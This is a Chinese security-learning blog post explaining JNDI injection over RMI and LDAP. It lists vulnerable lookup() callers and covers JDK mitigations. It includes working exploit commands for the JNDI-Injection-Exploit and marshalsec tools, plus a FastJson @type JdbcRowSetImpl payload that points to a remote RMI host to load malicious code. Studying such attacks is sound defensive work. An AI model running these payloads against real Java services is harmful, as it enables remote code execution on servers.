安全学习_开发相关_JNDI介绍(注入)&RMI&LDAP服务

文章目录

参考&本节目的

https://blog.csdn.net/dupei/article/details/120534024

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

什么是jndi注入

为什么有jndi注入

JDNI注入安全问题

JDNI注入利用条件

参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI概念-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

JNDI中内置了rmi、ldap服务

rmi、ldap都可以进行远程调用对象,可以远程执行java代码class文件

攻击利用中就用到了jndi-injection和marshalsec工具

jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap高版本有一定绕过方法。

JNDI注入-使用工具生成远程调用

JNDI远程调用-工具(jndi-injection)自主定义

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/xxx");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/xxx");

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI远程调用-工具marshalsec

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

2、编译调用对象

javac Test.java

将对象编译为class文件,放入远程服务器后利用工具生成调用协议

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson

2、使用工具生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117

3、提交JSON数据Payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}

该类最终调用了InitialContext.lookup()

JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

marshalsec中集成了一些绕过,绕过的ldap服务。

相关推荐
安全系统学习4 小时前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
码荼7 小时前
学习开发之hashmap
java·python·学习·哈希算法·个人开发·小白学开发·不花钱不花时间crud
深圳安锐科技有限公司7 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
潘锦8 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
冰橙子id8 小时前
linux系统安全
linux·安全·系统安全
武昌库里写JAVA8 小时前
Oracle如何使用序列 Oracle序列使用教程
java·开发语言·spring boot·学习·课程设计
祁思妙想9 小时前
八股学习(三)---MySQL
数据库·学习·mysql
上海锝秉工控9 小时前
防爆拉线位移传感器:工业安全的“隐形守护者”
大数据·人工智能·安全
amazinging10 小时前
北京-4年功能测试2年空窗-报培训班学测开-第四十一天
python·学习·appium
Jyywww12110 小时前
微信小程序学习笔记
笔记·学习·微信小程序